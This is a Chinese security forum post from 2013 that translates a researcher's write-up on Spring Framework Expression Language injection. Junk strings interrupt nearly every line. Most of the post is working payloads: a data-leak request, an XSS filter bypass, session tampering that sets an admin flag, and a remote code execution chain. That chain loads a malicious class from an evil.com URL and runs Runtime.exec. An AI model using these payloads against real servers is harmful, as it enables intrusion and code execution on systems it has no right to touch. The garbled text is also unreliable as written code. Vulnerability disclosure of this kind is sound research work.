找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2217|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
1 V0 Y6 B2 |: a/ f1 g7 @( RExpression Language Injection
. e5 i; C: G. S9 zSpring Framework脆弱性—DanAmodio
" H" T. ?) p; {( {$ n7 ?1 a全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中3 h5 y9 x+ |# x
可能会存在风险。
0 g# p- K0 D, ]" R  U. z1 U7 K+ P在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的2 j; |* a% ]3 P2 G5 _4 ~
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可/ V' X: F2 b4 d$ j, b9 b8 g
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,5 E) n6 Y8 Q( @+ D4 q$ `  r
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前- H- b, o/ t9 d  M( g
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
0 T8 ^' J, |: W4 N1 v# G由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
/ y) H+ c5 t0 @" u- H. L+ o; J2 S4 U我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
* O1 q3 y- I9 v. }0 j, z, ^本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
$ X  ?, |; K2 Y7 d. T& \这些版本不支持禁用double EL resolution.
1 y' B1 B1 C8 a* {- [  Q这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
+ k+ Z1 X) e7 T* \3 fEL2.2容器上可能进行远程代码执行。  I/ B2 h% E' P( t- |
这是一个原始信息泄露的攻击例子:. z. B  G$ k0 d7 V9 M
请求:, G. P8 ]! G, j, g; v! W$ f
ttp://vulnerable.com/foo?message=${applicationScope}% z* w4 e$ _' m1 q# e: H  G( }* Y
到达以下内容页面:/ t; D# K& i& h# V
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
2 Z+ h: w( |$ U- v0 |你也可以做一些其他事情,如这样:
7 T) o  _. r! A: t# X${9999+1}9 Z8 t; u- q$ r7 O
还可以访问session 对象和beans
7 T! |& H& r5 n# F3 N% M${employee.lastName}
' ]% ?( T" f) \在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是3 s7 O. _  v' s  _( i7 _7 D
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东- X$ l# f8 j3 D9 D
西,比如XSS.. s" I- _4 p5 Z" _0 W; {. W
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
  D/ v/ X, C8 o% f; k; Z/ q1 Y5 ]* i( j突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
. R5 U5 c) ^- W5 A呢?”
/ C1 r" a: `7 ^5 f3 j因此,我尝试巳缦拢�
$ u7 e( a8 p6 l! {http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
0 q, g7 I% U: p% F2 mP1 C. C) T* U5 F+ j8 ^! F( j/ c9 p
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
' A' e: F. s+ t- @. O' f回的文本被插入进了spring:message 标签。; X9 H! d& W" J# j( K: ~
这里是一个最终绕过过滤的实例:, S: w+ U9 K+ p3 G# Q
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
# C+ j( r4 D; ]( }( [它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为) t: U8 |' J5 H8 l! J1 t
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
& ?6 c! z; a/ ~( b4 ]+ K) k经过一番研究,我学习到EL2.2 增加了方法调用。
: t; b- B5 X( g- o- k4 P& v. }" ^我写了一个快速测试应用程序代码并且检测一些功能
1 P; R3 _" q- p8 E, E${pageContext.request.getSession().setAttribute(“account”,”123456″)}
/ P3 A/ U  N1 I+ r4 H% u${pageContext.request.getSession().setAttribute(“admin”,true)}
( \( C% F- x2 ?! |- A, |8 n好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的4 x8 N( B, K- ?
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?- F- S$ R% [3 V8 S, ^: B
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
$ ^9 }! B3 T: N% m“, 1234)}
9 Q- R4 D( A5 @. {8 u${“”.getClass().forName(“java.lang.Runtime”)}3 o& Y! F. p% n  ^/ T" ^5 U
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不& x7 |% W/ g; b8 c- F2 j9 V  ]$ Y
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函( e0 Y/ r; H0 s8 B5 n, w0 ~( |4 X
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有4 r; h3 _& \1 R- t' K
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
- L) P  d, d, l/ W- X方法签名invoke(Object obj, Object„ args)* j; @, y5 S  M+ A8 {* h
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问+ h7 l( I8 ]  {' H
题,以让它可以工作起来。+ ~( ?9 ?/ w: u6 e; Y
漏洞利用:  c$ [9 @2 c8 z' ]. l
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我" N- h2 c( S5 z' u1 ~8 @3 ?
希望你们中的一些JAVA奇才告诉我我是如此的可笑。4 q( r$ A7 Y8 b1 ~) U
这里有一些我试过的失败的用例,为了试图让它工作的用例:
8 B# \& ]% j. s' n" a3 M 写文件到文件系统$ c. M  n$ O1 T7 S# u
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
% j. [% _: L: i7 }: Q我认为这些可以很好的工作,但是我不能找到合适的类来载入。
% A# J' n2 Y; Q5 k& ^- M${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}! I. ^8 |# P2 P+ ^, f
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:/ q: \/ x" O' n7 I
org.springframework.expression.spel.standard.SpelExpressionParser not found8 o3 W. ^  k2 J, _0 f) U/ Z; p
by' s) Y* R' V* s% s) E( J
org.glassfish.web.javax.servlet.jsp [194].! a  j% W* J( Z( j5 K% P$ L, G
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
* Y& z! l3 _- ]5 m+ D, G 利用反射来创建一个新的Runtime(and watch the world burn)
* P. W& Z$ h9 |; B$ ~${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
$ F/ P' W: j7 Y! s$ k(“java.lang.Runtime”)).getDeclaredConstructors()[0])}5 x3 U/ l: L. G$ P# y
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}; d7 l* W* _8 H# w9 `
 使用java.lang.ProcessBuilder$ K1 d( b" M0 f5 z
 用表达式语言来评估表达式语言3 N8 n0 T5 i( r0 z  A' U
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
( x  n6 E, i, a0 y${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
8 q2 F6 {. r) k4 d# B% G8 q“,”".getClass(),null)}; L# |  t3 i& B0 Y9 U6 I
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
9 c0 d- W; x/ X$ a1 K9 O我在使用一个空数组通过Method.invoke()时失败了很多次
) B' S* K+ u4 R9 Z“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
! P7 h: k+ _; k! g& N.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
0 E% J. m: Q" R* BrrayList”).newInstance().toArray())
# m. m5 y$ T) {! O4 qjava.lang.IllegalArgumentException: wrong number of arguments
2 r& B. }- }7 z6 h: Z- H最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可4 U& R) S! f: b. n$ V4 o- l
以创建一个恶意class文件并且指向类装载器.
" y3 K- w5 ^" u我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:3 [7 Z- L% f5 n! k! ^( m  L' p8 H/ p# B
public class Malicious {0 B( [4 t5 `( X$ i& A1 @' i
public Malicious() {
4 P  o( ]) _: D5 z; R2 E" W5 Stry {; V6 l' p  M# A5 b/ d) ?- d
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac& U. F  @7 J1 |3 |5 X4 r: r
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win+ v) [$ ]/ T9 D- c5 {. i
} catch (Exception e) {3 k( U* x' ~7 s6 Q0 j" w
}
3 K9 x3 o$ p& U! P* |0 u/ H; J0 o: d# P- o}
) B. K" a/ J9 u7 ^' E我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
6 ?( G4 g) u7 S0 W8 T' q* ]) M/ q4 t8 P( |话中,因此它可以被使用." U" N8 J# V; N; G
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName8 _4 h: _7 T' {, F; t7 _3 X% z5 t
(“java.util.ArrayList”).newInstance())}
0 a% c4 W: Y9 E" O" M7 t* RURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建' X- r6 v$ {' R% s+ \: G
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
% h) `% T, T8 WgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
3 c) \1 h. @- J! M% M我们可以调用的create(string)方法,然后转换对一个URL对象。, A- @, ~0 u  Q' ?4 V6 V1 K' Q
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh5 X( M0 {1 z: |. _
ere/malicious/classfile/is/located/”).toURL())}& V# E8 R6 ?/ R6 F9 e+ r
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
7 P+ y0 i8 x, t- B恶意类文件被装载并创建,触发远程代码.. y* Y& O, v+ M' G! B, \" R
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte8 z# V/ n. s5 A3 c7 j- l# |
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().2 w7 A0 C2 q+ [2 P0 T
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
: v- c5 s5 K9 A3 i()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表